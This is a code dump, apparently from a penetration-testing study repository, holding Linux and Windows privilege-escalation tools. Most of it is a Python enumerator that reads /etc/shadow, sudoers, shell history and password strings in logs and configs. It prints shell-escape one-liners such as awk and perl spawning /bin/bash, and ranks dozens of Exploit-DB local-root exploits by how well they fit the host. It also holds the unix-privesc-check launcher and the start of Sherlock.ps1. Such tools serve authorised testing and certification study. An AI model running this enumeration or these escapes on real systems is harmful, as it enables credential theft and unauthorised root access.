def writeResults(msg, results): 68 | f = open("privcheckout.txt", "a"); 69 | f.write("[+] " + str(len(results)-1) + " " + msg) 70 | for result in results: 71 | if result.strip() != "": 72 | f.write(" " + result.strip()) 73 | f.close() 74 | return 75 | 76 | # Basic system info 77 | print "[*] GETTING BASIC SYSTEM INFO...\n" 78 | 79 | results=[] 80 | 81 | sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results}, 82 | "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results}, 83 | "HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results} 84 | } 85 | 86 | sysInfo = execCmd(sysInfo) 87 | printResults(sysInfo) 88 | 89 | # Networking Info 90 | 91 | print "[*] GETTING NETWORKING INFO...\n" 92 | 93 | netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results}, 94 | "ROUTE":{"cmd":"route", "msg":"Route", "results":results}, 95 | "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", "results":results} 96 | } 97 | 98 | netInfo = execCmd(netInfo) 99 | printResults(netInfo) 100 | 101 | # File System Info 102 | print "[*] GETTING FILESYSTEM INFO...\n" 103 | 104 | driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results}, 105 | "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results} 106 | } 107 | 108 | driveInfo = execCmd(driveInfo) 109 | printResults(driveInfo) 110 | 111 | # Scheduled Cron Jobs 112 | cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results}, 113 | "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results} 114 | } 115 | 116 | cronInfo = execCmd(cronInfo) 117 | printResults(cronInfo) 118 | 119 | # User Info 120 | print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n" 121 | 122 | userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results}, 123 | "ID":{"cmd":"id","msg":"Current User ID", "results":results}, 124 | "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results}, 125 | "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results}, 126 | "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results}, 127 | "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results}, 128 | "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results}, 129 | "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results} 130 | } 131 | 132 | userInfo = execCmd(userInfo) 133 | printResults(userInfo) 134 | 135 | if "root" in userInfo["ID"]["results"][0]: 136 | print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n" 137 | 138 | # File/Directory Privs 139 | print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n" 140 | 141 | fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results}, 142 | "WWDIRS":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results}, 143 | "WWFILES":{"cmd":"find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results}, 144 | "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results}, 145 | "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results} 146 | } 147 | 148 | fdPerms = execCmd(fdPerms) 149 | printResults(fdPerms) 150 | 151 | pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results}, 152 | "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results}, 153 | "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results} 154 | } 155 | 156 | pwdFiles = execCmd(pwdFiles) 157 | printResults(pwdFiles) 158 | 159 | # Processes and Applications 160 | print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n" 161 | 162 | if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: 163 | getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian 164 | else: 165 | getPkgs = "rpm -qa | sort -u" # RH/other 166 | 167 | getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results}, 168 | "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results} 169 | } 170 | 171 | getAppProc = execCmd(getAppProc) 172 | printResults(getAppProc) # comment to reduce output 173 | 174 | otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results}, 175 | "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results}, 176 | "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results} 177 | } 178 | 179 | otherApps = execCmd(otherApps) 180 | printResults(otherApps) 181 | 182 | print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n" 183 | 184 | # find the package information for the processes currently running 185 | # under root or another super user 186 | 187 | procs = getAppProc["PROCS"]["results"] 188 | pkgs = getAppProc["PKGS"]["results"] 189 | supusers = userInfo["SUPUSERS"]["results"] 190 | procdict = {} # dictionary to hold the processes running as super users 191 | 192 | for proc in procs: # loop through each process 193 | relatedpkgs = [] # list to hold the packages related to a process 194 | try: 195 | for user in supusers: # loop through the known super users 196 | if (user != "") and (user in proc): # if the process is being run by a super user 197 | procname = proc.split(" ")[4] # grab the process name 198 | if "/" in procname: 199 | splitname = procname.split("/") 200 | procname = splitname[len(splitname)-1] 201 | for pkg in pkgs: # loop through the packages 202 | if not len(procname) < 3: # name too short to get reliable package results 203 | if procname in pkg: 204 | if procname in procdict: 205 | relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list 206 | if pkg not in relatedpkgs: 207 | relatedpkgs.append(pkg) # add pkg to the list 208 | procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry 209 | except: 210 | pass 211 | 212 | for key in procdict: 213 | print " " + key # print the process name 214 | try: 215 | if not procdict[key][0] == "": # only print the rest if related packages were found 216 | print " Possible Related Packages: " 217 | for entry in procdict[key]: 218 | print " " + entry # print each related package 219 | except: 220 | pass 221 | 222 | # EXPLOIT ENUMERATION 223 | 224 | # First discover the avaialable tools 225 | print 226 | print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n" 227 | 228 | devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}} 229 | devTools = execCmd(devTools) 230 | printResults(devTools) 231 | 232 | print "[+] Related Shell Escape Sequences...\n" 233 | escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]} 234 | for cmd in escapeCmd: 235 | for result in devTools["TOOLS"]["results"]: 236 | if cmd in result: 237 | for item in escapeCmd[cmd]: 238 | print " " + cmd + "-->\t" + item 239 | print 240 | print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" 241 | 242 | # Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) 243 | # sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' 244 | sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 245 | "< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 246 | "2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}}, 247 | "<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 248 | "2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 249 | "<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 250 | "2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 251 | "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 252 | "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}}, 253 | "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 254 | "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}}, 255 | "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 256 | "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 257 | "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 258 | "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, 259 | "<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 260 | "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 261 | "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, 262 | "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 263 | "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}}, 264 | "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 265 | "2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, 266 | "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}}, 267 | "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 268 | "< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 269 | "2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, 270 | "2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, 271 | "2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 272 | "2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 273 | "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 274 | "Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 275 | "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}}, 276 | "2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 277 | "2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 278 | "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 279 | "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 280 | "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 281 | "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 282 | "< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 283 | "2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 284 | "2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 285 | "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}}, 286 | "'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, 287 | "2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 288 | "Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}}, 289 | "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}}, 290 | "Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}}, 291 | "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 292 | "Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 293 | "Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 294 | "<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 295 | "< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 296 | "CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 297 | "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 298 | "< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 299 | "Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}}, 300 | "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 301 | "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 302 | "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 303 | "Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}}, 304 | "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 305 | "open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, 306 | } 307 | 308 | # variable declaration 309 | os = sysInfo["OS"]["results"][0] 310 | version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] 311 | langs = devTools["TOOLS"]["results"] 312 | procs = getAppProc["PROCS"]["results"] 313 | kernel = str(sysInfo["KERNEL"]["results"][0]) 314 | mount = driveInfo["MOUNT"]["results"] 315 | #pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future 316 | 317 | 318 | # lists to hold ranked, applicable sploits 319 | # note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks 320 | # all applicable exploits should be checked and this function could probably use some improvement 321 | avgprob = [] 322 | highprob = [] 323 | 324 | for sploit in sploits: 325 | lang = 0 # use to rank applicability of sploits 326 | keyword = sploits[sploit]["keywords"]["val"] 327 | sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] 328 | # first check for kernell applicability 329 | if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): 330 | # next check language applicability 331 | if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): 332 | lang = 1 # language found, increase applicability score 333 | elif sploits[sploit]["lang"] == "sh": 334 | lang = 1 # language found, increase applicability score 335 | elif (sploits[sploit]["lang"] in str(langs)): 336 | lang = 1 # language found, increase applicability score 337 | if lang == 0: 338 | sploitout = sploitout + "**" # added mark if language not detected on system 339 | # next check keyword matches to determine if some sploits have a higher probability of success 340 | for loc in sploits[sploit]["keywords"]["loc"]: 341 | if loc == "proc": 342 | for proc in procs: 343 | if keyword in proc: 344 | highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability 345 | break 346 | break 347 | elif loc == "os": 348 | if (keyword in os) or (keyword in kernel): 349 | highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability 350 | break 351 | elif loc == "mnt": 352 | if keyword in mount: 353 | highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability 354 | break 355 | else: 356 | avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version 357 | 358 | print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!" 359 | print 360 | 361 | print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" 362 | for exploit in highprob: 363 | print " - " + exploit 364 | print 365 | 366 | print " The following exploits are applicable to this kernel version and should be investigated as well" 367 | for exploit in avgprob: 368 | print " - " + exploit 369 | 370 | print 371 | print "Finished" 372 | print bigline 373 | -------------------------------------------------------------------------------- /PrivEsc/Linux/pspy32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AbsoZed/OSCP/af02aae3906f2be66bbb5c4756a02a4050117dbc/PrivEsc/Linux/pspy32 -------------------------------------------------------------------------------- /PrivEsc/Linux/pspy64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AbsoZed/OSCP/af02aae3906f2be66bbb5c4756a02a4050117dbc/PrivEsc/Linux/pspy64 -------------------------------------------------------------------------------- /PrivEsc/Linux/upc.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # $Revision$ 3 | # 4 | # This program is free software; you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation; either version 2 of the License, or 7 | # (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with this program; if not, write to the Free Software 16 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 17 | # 18 | # (c) Tim Brown, 2012 19 | # 20 | # / 21 | 22 | . lib/misc/stdio 23 | 24 | header () { 25 | VERSION="2.1" 26 | SVNVERSION="$Revision$" # Don't change this line. Auto-updated. 27 | SVNVNUM="`echo $SVNVERSION | sed \"s/[^0-9]//g\"`" 28 | if [ -n "${SVNVNUM}" ]; then 29 | VERSION="${VERSION}-svn-${SVNVNUM}" 30 | fi 31 | printf "unix-privesc-check v${VERSION} ( http://code.google.com/p/unix-privesc-check )\n\n" 32 | } 33 | 34 | version () { 35 | header 36 | preamble 37 | printf "Brought to you by:\n" 38 | cat doc/AUTHORS 39 | exit 1 40 | } 41 | 42 | preamble () { 43 | printf "Shell script to check for simple privilege escalation vectors on UNIX systems.\n\n" 44 | } 45 | 46 | usage () { 47 | header 48 | preamble 49 | printf "Usage: ${0}\n" 50 | printf "\n" 51 | printf "\t--help\tdisplay this help and exit\n" 52 | printf "\t--version\tdisplay version and exit\n" 53 | printf "\t--color\tenable output coloring\n" 54 | printf "\t--verbose\tverbose level (0-2, default: 1)\n" 55 | printf "\t--type\tselect from one of the following check types:\n" 56 | for checktype in lib/checks/enabled/* 57 | do 58 | printf "\t\t`basename ${checktype}`\n" 59 | done 60 | printf "\t--checks\tprovide a comma separated list of checks to run, select from the following checks:\n" 61 | for check in lib/checks/* 62 | do 63 | if [ "`basename \"${check}\"`" != "enabled" ] 64 | then 65 | printf "\t\t`basename ${check}`\n" 66 | fi 67 | done 68 | exit 1 69 | } 70 | 71 | # TODO make it use lib/misc/validate 72 | CHECKS="" 73 | TYPE="all" 74 | COLORING="0" 75 | VERBOSE="1" 76 | while [ -n "${1}" ] 77 | do 78 | case "${1}" in 79 | --help|-h) 80 | usage 81 | ;; 82 | --version|-v|-V) 83 | version 84 | ;; 85 | --color) 86 | COLORING="1" 87 | ;; 88 | --verbose) 89 | shift 90 | VERBOSE="${1}" 91 | ;; 92 | --type|-t) 93 | shift 94 | TYPE="${1}" 95 | ;; 96 | --checks|-c) 97 | shift 98 | CHECKS="${1}" 99 | ;; 100 | esac 101 | shift 102 | done 103 | header 104 | if [ "${VERBOSE}" != "0" -a "${VERBOSE}" != "1" -a "${VERBOSE}" != "2" ] 105 | then 106 | stdio_message_error "upc" "the provided verbose level ${VERBOSE} is invalid - use 0, 1 or 2 next time" 107 | VERBOSE="1" 108 | fi 109 | if [ -n "${CHECKS}" ] 110 | then 111 | for checkfilename in `printf "${CHECKS}" | tr -d " " | tr "," " "` 112 | do 113 | if [ ! -e "lib/checks/${checkfilename}" ] 114 | then 115 | stdio_message_error "upc" "the provided check name '${checkfilename}' does not exist" 116 | else 117 | . "lib/checks/${checkfilename}" 118 | `basename "${checkfilename}"`_init 119 | `basename "${checkfilename}"`_main 120 | `basename "${checkfilename}"`_fini 121 | fi 122 | done 123 | else 124 | if [ ! -d "lib/checks/enabled/${TYPE}" ] 125 | then 126 | stdio_message_error "upc" "the provided check type '${TYPE}' does not exist" 127 | else 128 | for checkfilename in lib/checks/enabled/${TYPE}/* 129 | do 130 | . "${checkfilename}" 131 | `basename "${checkfilename}"`_init 132 | `basename "${checkfilename}"`_main 133 | `basename "${checkfilename}"`_fini 134 | done 135 | fi 136 | fi 137 | exit 0 138 | -------------------------------------------------------------------------------- /PrivEsc/Windows/Sherlock.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | 3 | File: Sherlock.ps1 4 | Author: @_RastaMouse 5 | License: GNU General Public License v3.0 6 | 7 | #> 8 | 9 | <# 10 | 11 | RTM build reference, because I'm stupid and forget... 12 | 13 | 6002: Vista SP2/2008 SP2 14 | 7600: 7/2008 R2 15 | 7601: 7 SP1/2008 R2 SP1 16 | 9200: 8/2012 17 | 9600: 8.1/2012 R2 18 | 10240: 10 Threshold 19 | 10586: 10 Threshold 2 20 | 14393: 10 Redstone/2016 21 | 15063: 10 Redstone 2 22 | 16299: 10 Redstone 3 23 | 17134: 10 Redstone 4 24 | 25 | #> 26 | 27 | $Global:ExploitTable = $null 28 | 29 | function Get-FileVersionInfo ($FilePath) { 30 | 31 | $VersionInfo = (Get-Item $FilePath).VersionInfo 32 | $FileVersion = ( "{0}.{1}.{2}.{3}" -f $VersionInfo.FileMajorPart, $VersionInfo.FileMinorPart, $VersionInfo.FileBuildPart, $VersionInfo.FilePrivatePart ) 33 | 34 | return $FileVersion 35 | 36 | } 37 | 38 | function Get-InstalledSoftware($SoftwareName) { 39 | 40 | $SoftwareVersion = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name -eq $SoftwareName } | Select-Object Version 41 | $SoftwareVersion = $SoftwareVersion.Version # I have no idea what I'm doing 42 | 43 | return $SoftwareVersion 44 | 45 | } 46 | 47 | function Get-Architecture { 48 | 49 | # This is the CPU architecture. 